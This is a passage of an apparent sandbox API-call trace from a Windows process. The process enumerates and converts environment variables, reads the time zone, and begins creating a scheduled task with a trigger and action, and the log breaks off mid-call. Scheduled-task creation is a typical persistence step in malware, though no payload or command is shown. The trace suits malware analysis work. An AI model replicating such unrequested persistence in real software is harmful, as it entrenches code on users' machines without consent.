[0051.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31c89f0, Size=0x2c) returned 0x316ae40 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x39) returned 0x3186f10 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x3186f10, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0051.105] GetLastError () returned 0x0 [0051.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x316ae40, Size=0x30) returned 0x316b118 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x3158890 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3158890, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0051.105] GetLastError () returned 0x0 [0051.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x316b118, Size=0x34) returned 0x31bee20 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x17) returned 0x31588d0 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x31588d0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0051.105] GetLastError () returned 0x0 [0051.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31bee20, Size=0x38) returned 0x31bee60 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe) returned 0x3195008 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3195008, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0051.105] GetLastError () returned 0x0 [0051.105] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31bee60, Size=0x3c) returned 0x3186f58 [0051.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0051.105] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x69) returned 0x316c268 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x316c268, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0051.106] GetLastError () returned 0x0 [0051.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3186f58, Size=0x40) returned 0x3186fa0 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0051.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3e) returned 0x3186f58 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3186f58, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0051.106] GetLastError () returned 0x0 [0051.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3186fa0, Size=0x44) returned 0x31c9470 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1b) returned 0x317fef8 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x317fef8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0051.106] GetLastError () returned 0x0 [0051.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31c9470, Size=0x48) returned 0x31c94c0 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0051.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1d) returned 0x317fed0 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x317fed0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0051.106] GetLastError () returned 0x0 [0051.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31c94c0, Size=0x4c) returned 0x3182500 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0051.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x31c94c0 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x31c94c0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0051.106] GetLastError () returned 0x0 [0051.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3182500, Size=0x50) returned 0x3182558 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0051.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x3158710 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3158710, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0051.106] GetLastError () returned 0x0 [0051.106] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3182558, Size=0x54) returned 0x31913c0 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0051.106] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x3158750 [0051.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x3158750, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0051.106] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x31913c0, Size=0x58) returned 0x3191420 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1b) returned 0x317ff20 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x317ff20, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0051.107] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3191420, Size=0x5c) returned 0x30f6dc8 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0051.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x24) returned 0x31c89f0 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x31c89f0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0051.107] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x30f6dc8, Size=0x60) returned 0x30f6e98 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0051.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x29) returned 0x316b118 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x316b118, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0051.107] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x30f6e98, Size=0x64) returned 0x30ea7d8 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0051.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1e) returned 0x317ff48 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x317ff48, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0051.107] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x30ea7d8, Size=0x68) returned 0x30ea8b8 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x41) returned 0x31c9470 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x31c9470, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0051.107] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x30ea8b8, Size=0x6c) returned 0x316c448 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0051.107] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x17) returned 0x31589f0 [0051.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x31589f0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0051.107] GetLastError () returned 0x0 [0051.107] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x316c448, Size=0x70) returned 0x3175058 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf) returned 0x3195050 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x3195050, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0051.108] GetLastError () returned 0x0 [0051.108] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x3175058, Size=0x74) returned 0x6bc5d0 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x16) returned 0x31589b0 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x31589b0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0051.108] GetLastError () returned 0x0 [0051.108] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6bc5d0, Size=0x78) returned 0x6bc650 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2a) returned 0x316ae40 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x316ae40, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0051.108] GetLastError () returned 0x0 [0051.108] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6bc650, Size=0x7c) returned 0x6aabe8 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x29) returned 0x316b0a8 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x316b0a8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0051.108] GetLastError () returned 0x0 [0051.108] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6aabe8, Size=0x80) returned 0x6ab710 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x15) returned 0x31589d0 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x31589d0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0051.108] GetLastError () returned 0x0 [0051.108] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6ab710, Size=0x84) returned 0x6b9030 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x1e) returned 0x317ff70 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x317ff70, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0051.108] GetLastError () returned 0x0 [0051.108] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6b9030, Size=0x88) returned 0x6b9420 [0051.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0051.108] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2a) returned 0x316b150 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x316b150, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0051.109] GetLastError () returned 0x0 [0051.109] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6b9420, Size=0x8c) returned 0x313ab18 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0051.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x3158bd0 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3158bd0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0051.109] GetLastError () returned 0x0 [0051.109] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x313ab18, Size=0x90) returned 0x313ab18 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0051.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x3158b90 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3158b90, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0051.109] GetLastError () returned 0x0 [0051.109] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x313ab18, Size=0x94) returned 0x6c8f48 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0051.109] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x46) returned 0x31c9510 [0051.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x31c9510, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0051.109] GetLastError () returned 0x0 [0051.109] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6c8f48, Size=0x98) returned 0x6c8f48 [0051.109] GetLastError () returned 0x0 [0051.109] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0051.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e0fc | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18e0fc) returned 26 [0051.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18e0fc | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18e0fc) returned 26 [0051.111] GetLastError () returned 0x0 [0051.111] ITrigger:put_StartBoundary (This=0x26b0c00, StartBoundary="2019-07-30T10:50:21") returned 0x0 [0051.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195068 | out: hHeap=0x5d0000) returned 1 [0051.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3176870 | out: hHeap=0x5d0000) returned 1 [0051.111] IUnknown:Release (This=0x26b0c00) returned 0x1 [0051.111] ITaskDefinition:get_Actions (in: This=0x26b0950, ppActions=0x18e6c8 | out: ppActions=0x18e6c8*=0x26b09c8) returned 0x0 [0051.111] IActionCollection:Create (in: This=0x26b09c8, Type=0, ppAction=0x18e6b4 | out: ppAction=0x18e6b4*=0x26b0c98) returned 0x0 [0051.111] IUnknown:Release (This=0x26b09c8) returned 0x1 [0051.111] IUnknown:QueryInterface (in: This=0x26b0c98, riid=0x45007c*(Data1=0x4c3d624d, 